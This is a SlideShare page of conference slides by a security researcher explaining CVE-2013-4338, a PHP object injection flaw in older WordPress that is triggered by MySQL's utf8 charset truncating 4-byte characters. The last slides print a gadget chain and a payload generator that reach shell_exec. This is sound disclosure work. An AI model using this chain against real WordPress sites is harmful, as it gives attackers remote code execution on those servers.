SlideShare a Scribd company logo
1 of 34
Download to read offline
Remote code
execution in
WordPress
By Tom Van Goethem
About me
❖ Tom Van Goethem
❖ PhD Student at
❖ Security Researcher
❖ Blogger — http://vagosec.org
❖ — @tomvangoethem
2
Agenda
❖ WordPress
❖ PHP Object Injection
❖ UTF-8 and MySQL
❖ Vulnerability
❖ Exploit
❖ Demo
3
WordPress
❖ Free and open source web blogging system and CMS
❖ PHP, MySQL
❖ Plugin & template architecture
❖ 60,000,000 websites
❖ aprox. 19% of top 10mil
4
WordPress
❖ 510 vulnerabilities since 2004
❖ Most from plugins
❖ 2013: 16 vulnerabilities
❖ CVE-2013-4338
5
CVE-2013-4338
6
wp-­‐includes/functions.php	
  in	
  WordPress	
  before	
  3.6.1	
  does	
  
not	
  properly	
  determine	
  whether	
  data	
  has	
  been	
  serialized,	
  
which	
  allows	
  remote	
  attackers	
  to	
  execute	
  arbitrary	
  code	
  
by	
  triggering	
  erroneous	
  PHP	
  unserialize	
  operations.
PHP Object Injection
❖ PHP’s unserialize() can instantiate objects
❖ Some “magic methods” are executed on
instantiation/when printed/...
❖ Passing user-input to PHP’s unserialize() may
have disastrous effects
7
PHP Object Injection
8
<?php!
class File {!
! public $file;!
!
! function __construct($file) {!
! ! $this->file = $file;!
! }!
! function __destruct() {!
! ! unlink($this->file);!
! }!
! function __toString() {!
! ! $fh = fopen($this->file, 'r');!
! ! $r = fread($fh, filesize($this->file));!
! ! return $r;!
! }!
! // ...!
}!
?>
PHP Object Injection
9
<?php!
require_once('File.php');!
$in = $_GET['in'];!
$obj = unserialize($in);!
echo '<h1>' . $obj . '<h1>';!
?>
<?php!
require_once('File.php');!
$obj = new File('secret.txt');!
$payload = serialize($obj);!
echo $payload;!
?>
victim.php
attacker.php
PHP Object Injection
10
PHP Object Injection
11
UTF-8
❖ In the beginning... there was ASCII
‣ American Standard Code for Information
Interchange
‣ 7 bits
‣ 127 characters
❖ I 💖 Москва
❖ Support for many other characters needed
12
UTF-8
❖ Then came Unicode
‣ maps more than 100,000 characters to a number
‣ still requires encoding
❖ UTF-8
‣ backwards compatible with ASCII
‣ 1-4 bytes long
‣ supports code points U+0000 to U+10FFFF
!
I 💖 Москва = U+0049 U+0020 U+1F496 U+0020 U+041C U+043E ...

I = 01001001

💖 = 11110000 10011111 10010010 10010110
 13
UFT-8 and MySQL
14
UFT-8 and MySQL
❖ MySQL has utf8 charset
‣ All we need, right?
15
UFT-8 and MySQL
16
CREATE SCHEMA utf8test DEFAULT CHARACTER SET utf8;!
!
CREATE TABLE utf8test.utf8test_table (!
utf8test_column VARCHAR(255) CHARACTER SET 'utf8' NULL)!
DEFAULT CHARACTER SET = utf8;!
!
INSERT INTO utf8test_table (utf8test_column) VALUES ('I love Москва');!
# Query OK, 1 row affected (0.00 sec)!
!
INSERT INTO utf8test_table (utf8test_column) VALUES ('I 💖 Москва');!
# Query OK, 1 row affected, 1 warning (0.00 sec)!
!
SHOW WARNINGS;!
# Incorrect string value: 'xF0x9Fx92x96 xE3...' for column
'utf8test_column' at row 1!
!
SELECT * FROM utf8test.utf8test_table;!
# +--------------------+!
# | utf8test_column |!
# +--------------------+!
# | I love Москва |!
# | I |!
# +--------------------+
UFT-8 and MySQL
❖ From MySQL Reference Manual:
!
❖ MySQL’s utf8 supports U+0000 to U+FFFF
❖ What with U+10000 to U+10FFFF?
‣ MySQL’s behavior: depends on character set
➡ with utf8: drop character and everything that follows
17
UFT-8 and MySQL
18
Vulnerability
❖ WordPress user-meta data can be serialized
❖ user-meta?
‣ first name, last name, contact info, ...
‣ stored in wp_usermeta (default charset utf8)
❖ can be serialized?
‣ normal string → normal string
‣ object → serialize(object)
‣ serialized string → serialize(serialized string)
19
Vulnerability
❖ When stored in DB, content is serialized
‣ only if is_serialized() returns true
❖ When retrieved from DB, content is unserialized
‣ only if is_serialized() returns true
20
21
function is_serialized($data) {!
! // if it isn't a string, it isn't serialized!
! if (!is_string($data)) { return false; }!
! $data = trim($data);!
 ! if ('N;' == $data) { return true; }!
! $length = strlen($data);!
! if ($length < 4) { return false; }!
! if (':' !== $data[1]) { return false; }!
! $lastc = $data[$length-1];!
! if (';' !== $lastc && '}' !== $lastc) { return false; }!
! $token = $data[0];!
! switch ($token) {!
! ! case 's' :!
! ! ! if ('"' !== $data[$length-2]) { return false; }!
! ! case 'a' :!
! ! case 'O' :!
! ! ! return (bool) preg_match("/^{$token}:[0-9]+:/s",
$data);!
! ! case 'b' :!
! ! case 'i' :!
! ! case 'd' :!
! ! ! return (bool) preg_match("/^{$token}:[0-9.E-]+;$/",
$data);!
! }!
! return false;!
}!
Vulnerability
❖ What we need:
‣ when inserted in DB, is_serialized() should return false
‣ when retrieved from DB, is_serialized() should return true
❖ Let’s put one and one together
‣ append 4-byte UTF-8 character to serialized string
‣ is_serialized() returns false:
‣ when stored in DB: last character dropped
‣ when retrieved: is_serialized() returns true
‣ unserialize() is called on arbitrary user-content
22
if (';' !== $lastc && '}' !== $lastc)

return false;
Vulnerability
❖ Before:
!
❖ After:
23
Vulnerability
24
Exploit
❖ Vulnerability: ✓
❖ Needed for a working exploit:
‣ class with “useful” magic method
➡ __destruct(), __toString(), __wakeup()!
‣ is included at right time
❖ Not found in WordPress core...
25
Exploit
❖ ...anything you can imagine... ☺
26
27
Exploit
28
29
class simple_html_dom_node {!
    function __construct($dom) {!
        $this->dom = $dom;!
        $dom->nodes[] = $this;!
    }!
    function __destruct() {!
        $this->clear();!
    }!
    function __toString() {!
        return $this->outertext();!
    }!
    function outertext() {!
        // ...!
        if ($this->dom && $this->dom->callback!==null)
{!
            call_user_func_array($this->dom->callback,
array($this));!
        }!
        // ...!
    }!
    // ...!
}
30
final class WP_Screen {!
    public function render_screen_meta() {!
        // ...!
        foreach ($this->_help_tabs as $tab):!
            if (!empty($tab['callback']))!
                call_user_func_array($tab['callback'],
array($this, $tab));!
        endforeach;!
    }!
    // ...!
}
function wp_generate_tag_cloud($tags, $args = '') {!
    // ...!
    $args = wp_parse_args($args, $defaults);!
    extract($args);!
    // ...!
    foreach ((array) $tags as $key => $tag) {!
        $real_counts[$key] = $tag->count;!
        $counts[$key] = $topic_count_scale_callback($tag->count);!
    }!
    // ...!
}
31
32
class simple_html_dom_node {!
! private $dom;!
! public function __construct() {!
! ! $callback = array(new WP_Screen(), 'render_screen_meta');!
! ! $this->dom = (object) array('callback' => $callback);!
! }!
}!
class WP_Screen {!
! private $_help_tabs;!
! public $action;!
! function __construct() {!
! ! $count = array('count' => 'echo "pwned!" > /tmp/pwned.txt');!
! ! $this->action = (object) $count;!
! ! $this->_help_tabs = array(array(!
! ! ! 'callback' => 'wp_generate_tag_cloud', !
! ! ! 'topic_count_scale_callback' => 'shell_exec'));!
! }!
}!
echo serialize(new simple_html_dom_node()).'💖';
Demo
33
Questions?
http://vagosec.org
— @tomvangoethem

More Related Content

What's hot

remote-method-guesser - BHUSA2021 Arsenal
remote-method-guesser - BHUSA2021 Arsenal remote-method-guesser - BHUSA2021 Arsenal
remote-method-guesser - BHUSA2021 Arsenal
Tobias Neitzel
 
Fantastic Red Team Attacks and How to Find Them
Fantastic Red Team Attacks and How to Find ThemFantastic Red Team Attacks and How to Find Them
Fantastic Red Team Attacks and How to Find Them
Ross Wolf
 

What's hot (20)

Defcon 27 - Writing custom backdoor payloads with C#
Defcon 27 - Writing custom backdoor payloads with C#Defcon 27 - Writing custom backdoor payloads with C#
Defcon 27 - Writing custom backdoor payloads with C#
 
XSS Magic tricks
XSS Magic tricksXSS Magic tricks
XSS Magic tricks
 
Time-Based Blind SQL Injection using Heavy Queries
Time-Based Blind SQL Injection using Heavy QueriesTime-Based Blind SQL Injection using Heavy Queries
Time-Based Blind SQL Injection using Heavy Queries
 
64 Methods for Mimikatz Execution
64 Methods for Mimikatz Execution64 Methods for Mimikatz Execution
64 Methods for Mimikatz Execution
 
ZeroNights 2018 | I <"3 XSS
ZeroNights 2018 | I <"3 XSSZeroNights 2018 | I <"3 XSS
ZeroNights 2018 | I <"3 XSS
 
Abusing Symlinks on Windows
Abusing Symlinks on WindowsAbusing Symlinks on Windows
Abusing Symlinks on Windows
 
Pentest Application With GraphQL | Null Bangalore Meetup
Pentest Application With GraphQL | Null Bangalore Meetup Pentest Application With GraphQL | Null Bangalore Meetup
Pentest Application With GraphQL | Null Bangalore Meetup
 
[OPD 2019] Attacking JWT tokens
[OPD 2019] Attacking JWT tokens[OPD 2019] Attacking JWT tokens
[OPD 2019] Attacking JWT tokens
 
Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012
 
PurpleSharp BlackHat Arsenal Asia
PurpleSharp BlackHat Arsenal AsiaPurpleSharp BlackHat Arsenal Asia
PurpleSharp BlackHat Arsenal Asia
 
XML & XPath Injections
XML & XPath InjectionsXML & XPath Injections
XML & XPath Injections
 
Derbycon - The Unintended Risks of Trusting Active Directory
Derbycon - The Unintended Risks of Trusting Active DirectoryDerbycon - The Unintended Risks of Trusting Active Directory
Derbycon - The Unintended Risks of Trusting Active Directory
 
Pentesting like a grandmaster BSides London 2013
Pentesting like a grandmaster BSides London 2013Pentesting like a grandmaster BSides London 2013
Pentesting like a grandmaster BSides London 2013
 
remote-method-guesser - BHUSA2021 Arsenal
remote-method-guesser - BHUSA2021 Arsenal remote-method-guesser - BHUSA2021 Arsenal
remote-method-guesser - BHUSA2021 Arsenal
 
PowerShell for Penetration Testers
PowerShell for Penetration TestersPowerShell for Penetration Testers
PowerShell for Penetration Testers
 
Windows privilege escalation by Dhruv Shah
Windows privilege escalation by Dhruv ShahWindows privilege escalation by Dhruv Shah
Windows privilege escalation by Dhruv Shah
 
Catch Me If You Can: PowerShell Red vs Blue
Catch Me If You Can: PowerShell Red vs BlueCatch Me If You Can: PowerShell Red vs Blue
Catch Me If You Can: PowerShell Red vs Blue
 
SSRF workshop
SSRF workshop SSRF workshop
SSRF workshop
 
Web-servers & Application Hacking
Web-servers & Application HackingWeb-servers & Application Hacking
Web-servers & Application Hacking
 
Fantastic Red Team Attacks and How to Find Them
Fantastic Red Team Attacks and How to Find ThemFantastic Red Team Attacks and How to Find Them
Fantastic Red Team Attacks and How to Find Them
 

Viewers also liked

Развитие технологий генерации эксплойтов на основе анализа бинарного кода
Развитие технологий генерации эксплойтов на основе анализа бинарного кодаРазвитие технологий генерации эксплойтов на основе анализа бинарного кода
Развитие технологий генерации эксплойтов на основе анализа бинарного кода
Positive Hack Days
 

Viewers also liked (10)

PHP unserialization vulnerabilities: What are we missing?
PHP unserialization vulnerabilities: What are we missing?PHP unserialization vulnerabilities: What are we missing?
PHP unserialization vulnerabilities: What are we missing?
 
PHP Object Injection
PHP Object InjectionPHP Object Injection
PHP Object Injection
 
Character encoding standard(1)
Character encoding standard(1)Character encoding standard(1)
Character encoding standard(1)
 
Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...
Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...
Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...
 
Character Encoding issue with PHP
Character Encoding issue with PHPCharacter Encoding issue with PHP
Character Encoding issue with PHP
 
PHP 7 performances from PHP 5
PHP 7 performances from PHP 5PHP 7 performances from PHP 5
PHP 7 performances from PHP 5
 
Развитие технологий генерации эксплойтов на основе анализа бинарного кода
Развитие технологий генерации эксплойтов на основе анализа бинарного кодаРазвитие технологий генерации эксплойтов на основе анализа бинарного кода
Развитие технологий генерации эксплойтов на основе анализа бинарного кода
 
PHP
 PHP PHP
PHP
 
PHP7 is coming
PHP7 is comingPHP7 is coming
PHP7 is coming
 
Smart TV Insecurity
Smart TV InsecuritySmart TV Insecurity
Smart TV Insecurity
 

Similar to PHP Object Injection Vulnerability in WordPress: an Analysis

PHP and Rich Internet Applications
PHP and Rich Internet ApplicationsPHP and Rich Internet Applications
PHP and Rich Internet Applications
elliando dias
 

Similar to PHP Object Injection Vulnerability in WordPress: an Analysis (20)

Serializing EMF models with Xtext
Serializing EMF models with XtextSerializing EMF models with Xtext
Serializing EMF models with Xtext
 
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya MorimotoSQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
SQL Injection 101 : It is not just about ' or '1'='1 - Pichaya Morimoto
 
Secure code
Secure codeSecure code
Secure code
 
Get into the FLOW with Extbase
Get into the FLOW with ExtbaseGet into the FLOW with Extbase
Get into the FLOW with Extbase
 
Es.next
Es.nextEs.next
Es.next
 
Lie to Me: Bypassing Modern Web Application Firewalls
Lie to Me: Bypassing Modern Web Application FirewallsLie to Me: Bypassing Modern Web Application Firewalls
Lie to Me: Bypassing Modern Web Application Firewalls
 
How to test complex SaaS applications - The family july 2014
How to test complex SaaS applications - The family july 2014How to test complex SaaS applications - The family july 2014
How to test complex SaaS applications - The family july 2014
 
Turn your spaghetti code into ravioli with JavaScript modules
Turn your spaghetti code into ravioli with JavaScript modulesTurn your spaghetti code into ravioli with JavaScript modules
Turn your spaghetti code into ravioli with JavaScript modules
 
Php Crash Course - Macq Electronique 2010
Php Crash Course - Macq Electronique 2010Php Crash Course - Macq Electronique 2010
Php Crash Course - Macq Electronique 2010
 
Introduction to Dart
Introduction to DartIntroduction to Dart
Introduction to Dart
 
Automated code audits
Automated code auditsAutomated code audits
Automated code audits
 
Conf soat tests_unitaires_Mockito_jUnit_170113
Conf soat tests_unitaires_Mockito_jUnit_170113Conf soat tests_unitaires_Mockito_jUnit_170113
Conf soat tests_unitaires_Mockito_jUnit_170113
 
Workshop quality assurance for php projects tek12
Workshop quality assurance for php projects tek12Workshop quality assurance for php projects tek12
Workshop quality assurance for php projects tek12
 
DEFCON 23 - Lance buttars Nemus - sql injection on lamp
DEFCON 23 - Lance buttars Nemus - sql injection on lampDEFCON 23 - Lance buttars Nemus - sql injection on lamp
DEFCON 23 - Lance buttars Nemus - sql injection on lamp
 
OWASP Top 10 - DrupalCon Amsterdam 2019
OWASP Top 10 - DrupalCon Amsterdam 2019OWASP Top 10 - DrupalCon Amsterdam 2019
OWASP Top 10 - DrupalCon Amsterdam 2019
 
null Pune meet - Application Security: Code injection
null Pune meet - Application Security: Code injectionnull Pune meet - Application Security: Code injection
null Pune meet - Application Security: Code injection
 
Php My Sql
Php My SqlPhp My Sql
Php My Sql
 
PHP and Rich Internet Applications
PHP and Rich Internet ApplicationsPHP and Rich Internet Applications
PHP and Rich Internet Applications
 
[PL] Jak nie zostać "programistą" PHP?
[PL] Jak nie zostać "programistą" PHP?[PL] Jak nie zostać "programistą" PHP?
[PL] Jak nie zostać "programistą" PHP?
 
Web Security - Hands-on
Web Security - Hands-onWeb Security - Hands-on
Web Security - Hands-on
 

More from Positive Hack Days

Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»
Positive Hack Days
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложений
Positive Hack Days
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Positive Hack Days
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET Core
Positive Hack Days
 

More from Positive Hack Days (20)

Инструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release NotesИнструмент ChangelogBuilder для автоматической подготовки Release Notes
Инструмент ChangelogBuilder для автоматической подготовки Release Notes
 
Как мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows DockerКак мы собираем проекты в выделенном окружении в Windows Docker
Как мы собираем проекты в выделенном окружении в Windows Docker
 
Типовая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive TechnologiesТиповая сборка и деплой продуктов в Positive Technologies
Типовая сборка и деплой продуктов в Positive Technologies
 
Аналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + QlikАналитика в проектах: TFS + Qlik
Аналитика в проектах: TFS + Qlik
 
Использование анализатора кода SonarQube
Использование анализатора кода SonarQubeИспользование анализатора кода SonarQube
Использование анализатора кода SonarQube
 
Развитие сообщества Open DevOps Community
Развитие сообщества Open DevOps CommunityРазвитие сообщества Open DevOps Community
Развитие сообщества Open DevOps Community
 
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
Методика определения неиспользуемых ресурсов виртуальных машин и автоматизаци...
 
Автоматизация построения правил для Approof
Автоматизация построения правил для ApproofАвтоматизация построения правил для Approof
Автоматизация построения правил для Approof
 
Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»Мастер-класс «Трущобы Application Security»
Мастер-класс «Трущобы Application Security»
 
Формальные методы защиты приложений
Формальные методы защиты приложенийФормальные методы защиты приложений
Формальные методы защиты приложений
 
Эвристические методы защиты приложений
Эвристические методы защиты приложенийЭвристические методы защиты приложений
Эвристические методы защиты приложений
 
Теоретические основы Application Security
Теоретические основы Application SecurityТеоретические основы Application Security
Теоретические основы Application Security
 
От экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 летОт экспериментального программирования к промышленному: путь длиной в 10 лет
От экспериментального программирования к промышленному: путь длиной в 10 лет
 
Уязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на граблиУязвимое Android-приложение: N проверенных способов наступить на грабли
Уязвимое Android-приложение: N проверенных способов наступить на грабли
 
Требования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПОТребования по безопасности в архитектуре ПО
Требования по безопасности в архитектуре ПО
 
Формальная верификация кода на языке Си
Формальная верификация кода на языке СиФормальная верификация кода на языке Си
Формальная верификация кода на языке Си
 
Механизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET CoreМеханизмы предотвращения атак в ASP.NET Core
Механизмы предотвращения атак в ASP.NET Core
 
SOC для КИИ: израильский опыт
SOC для КИИ: израильский опытSOC для КИИ: израильский опыт
SOC для КИИ: израильский опыт
 
Honeywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services CenterHoneywell Industrial Cyber Security Lab & Services Center
Honeywell Industrial Cyber Security Lab & Services Center
 
Credential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атакиCredential stuffing и брутфорс-атаки
Credential stuffing и брутфорс-атаки
 

Recently uploaded

EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
Earley Information Science
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
Enterprise Knowledge
 

Recently uploaded (20)

A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century education
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
 
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptxEIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
EIS-Webinar-Prompt-Knowledge-Eng-2024-04-08.pptx
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)
 
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men08448380779 Call Girls In Greater Kailash - I Women Seeking Men
08448380779 Call Girls In Greater Kailash - I Women Seeking Men
 
Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024Axa Assurance Maroc - Insurer Innovation Award 2024
Axa Assurance Maroc - Insurer Innovation Award 2024
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time AutomationFrom Event to Action: Accelerate Your Decision Making with Real-Time Automation
From Event to Action: Accelerate Your Decision Making with Real-Time Automation
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
Tech Trends Report 2024 Future Today Institute.pdf
Tech Trends Report 2024 Future Today Institute.pdfTech Trends Report 2024 Future Today Institute.pdf
Tech Trends Report 2024 Future Today Institute.pdf
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
 
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
Raspberry Pi 5: Challenges and Solutions in Bringing up an OpenGL/Vulkan Driv...
 
Evaluating the top large language models.pdf
Evaluating the top large language models.pdfEvaluating the top large language models.pdf
Evaluating the top large language models.pdf
 
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
 
GenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdfGenAI Risks & Security Meetup 01052024.pdf
GenAI Risks & Security Meetup 01052024.pdf
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdfUnderstanding Discord NSFW Servers A Guide for Responsible Users.pdf
Understanding Discord NSFW Servers A Guide for Responsible Users.pdf
 

PHP Object Injection Vulnerability in WordPress: an Analysis

  • 2. About me ❖ Tom Van Goethem ❖ PhD Student at ❖ Security Researcher ❖ Blogger — http://vagosec.org ❖ — @tomvangoethem 2
  • 3. Agenda ❖ WordPress ❖ PHP Object Injection ❖ UTF-8 and MySQL ❖ Vulnerability ❖ Exploit ❖ Demo 3
  • 4. WordPress ❖ Free and open source web blogging system and CMS ❖ PHP, MySQL ❖ Plugin & template architecture ❖ 60,000,000 websites ❖ aprox. 19% of top 10mil 4
  • 5. WordPress ❖ 510 vulnerabilities since 2004 ❖ Most from plugins ❖ 2013: 16 vulnerabilities ❖ CVE-2013-4338 5
  • 6. CVE-2013-4338 6 wp-­‐includes/functions.php  in  WordPress  before  3.6.1  does   not  properly  determine  whether  data  has  been  serialized,   which  allows  remote  attackers  to  execute  arbitrary  code   by  triggering  erroneous  PHP  unserialize  operations.
  • 7. PHP Object Injection ❖ PHP’s unserialize() can instantiate objects ❖ Some “magic methods” are executed on instantiation/when printed/... ❖ Passing user-input to PHP’s unserialize() may have disastrous effects 7
  • 8. PHP Object Injection 8 <?php! class File {! ! public $file;! ! ! function __construct($file) {! ! ! $this->file = $file;! ! }! ! function __destruct() {! ! ! unlink($this->file);! ! }! ! function __toString() {! ! ! $fh = fopen($this->file, 'r');! ! ! $r = fread($fh, filesize($this->file));! ! ! return $r;! ! }! ! // ...! }! ?>
  • 9. PHP Object Injection 9 <?php! require_once('File.php');! $in = $_GET['in'];! $obj = unserialize($in);! echo '<h1>' . $obj . '<h1>';! ?> <?php! require_once('File.php');! $obj = new File('secret.txt');! $payload = serialize($obj);! echo $payload;! ?> victim.php attacker.php
  • 12. UTF-8 ❖ In the beginning... there was ASCII ‣ American Standard Code for Information Interchange ‣ 7 bits ‣ 127 characters ❖ I 💖 Москва ❖ Support for many other characters needed 12
  • 13. UTF-8 ❖ Then came Unicode ‣ maps more than 100,000 characters to a number ‣ still requires encoding ❖ UTF-8 ‣ backwards compatible with ASCII ‣ 1-4 bytes long ‣ supports code points U+0000 to U+10FFFF ! I 💖 Москва = U+0049 U+0020 U+1F496 U+0020 U+041C U+043E ...
 I = 01001001
 💖 = 11110000 10011111 10010010 10010110
 13
  • 15. UFT-8 and MySQL ❖ MySQL has utf8 charset ‣ All we need, right? 15
  • 16. UFT-8 and MySQL 16 CREATE SCHEMA utf8test DEFAULT CHARACTER SET utf8;! ! CREATE TABLE utf8test.utf8test_table (! utf8test_column VARCHAR(255) CHARACTER SET 'utf8' NULL)! DEFAULT CHARACTER SET = utf8;! ! INSERT INTO utf8test_table (utf8test_column) VALUES ('I love Москва');! # Query OK, 1 row affected (0.00 sec)! ! INSERT INTO utf8test_table (utf8test_column) VALUES ('I 💖 Москва');! # Query OK, 1 row affected, 1 warning (0.00 sec)! ! SHOW WARNINGS;! # Incorrect string value: 'xF0x9Fx92x96 xE3...' for column 'utf8test_column' at row 1! ! SELECT * FROM utf8test.utf8test_table;! # +--------------------+! # | utf8test_column |! # +--------------------+! # | I love Москва |! # | I |! # +--------------------+
  • 17. UFT-8 and MySQL ❖ From MySQL Reference Manual: ! ❖ MySQL’s utf8 supports U+0000 to U+FFFF ❖ What with U+10000 to U+10FFFF? ‣ MySQL’s behavior: depends on character set ➡ with utf8: drop character and everything that follows 17
  • 19. Vulnerability ❖ WordPress user-meta data can be serialized ❖ user-meta? ‣ first name, last name, contact info, ... ‣ stored in wp_usermeta (default charset utf8) ❖ can be serialized? ‣ normal string → normal string ‣ object → serialize(object) ‣ serialized string → serialize(serialized string) 19
  • 20. Vulnerability ❖ When stored in DB, content is serialized ‣ only if is_serialized() returns true ❖ When retrieved from DB, content is unserialized ‣ only if is_serialized() returns true 20
  • 21. 21 function is_serialized($data) {! ! // if it isn't a string, it isn't serialized! ! if (!is_string($data)) { return false; }! ! $data = trim($data);!  ! if ('N;' == $data) { return true; }! ! $length = strlen($data);! ! if ($length < 4) { return false; }! ! if (':' !== $data[1]) { return false; }! ! $lastc = $data[$length-1];! ! if (';' !== $lastc && '}' !== $lastc) { return false; }! ! $token = $data[0];! ! switch ($token) {! ! ! case 's' :! ! ! ! if ('"' !== $data[$length-2]) { return false; }! ! ! case 'a' :! ! ! case 'O' :! ! ! ! return (bool) preg_match("/^{$token}:[0-9]+:/s", $data);! ! ! case 'b' :! ! ! case 'i' :! ! ! case 'd' :! ! ! ! return (bool) preg_match("/^{$token}:[0-9.E-]+;$/", $data);! ! }! ! return false;! }!
  • 22. Vulnerability ❖ What we need: ‣ when inserted in DB, is_serialized() should return false ‣ when retrieved from DB, is_serialized() should return true ❖ Let’s put one and one together ‣ append 4-byte UTF-8 character to serialized string ‣ is_serialized() returns false: ‣ when stored in DB: last character dropped ‣ when retrieved: is_serialized() returns true ‣ unserialize() is called on arbitrary user-content 22 if (';' !== $lastc && '}' !== $lastc)
 return false;
  • 25. Exploit ❖ Vulnerability: ✓ ❖ Needed for a working exploit: ‣ class with “useful” magic method ➡ __destruct(), __toString(), __wakeup()! ‣ is included at right time ❖ Not found in WordPress core... 25
  • 26. Exploit ❖ ...anything you can imagine... ☺ 26
  • 27. 27
  • 29. 29 class simple_html_dom_node {!     function __construct($dom) {!         $this->dom = $dom;!         $dom->nodes[] = $this;!     }!     function __destruct() {!         $this->clear();!     }!     function __toString() {!         return $this->outertext();!     }!     function outertext() {!         // ...!         if ($this->dom && $this->dom->callback!==null) {!             call_user_func_array($this->dom->callback, array($this));!         }!         // ...!     }!     // ...! }
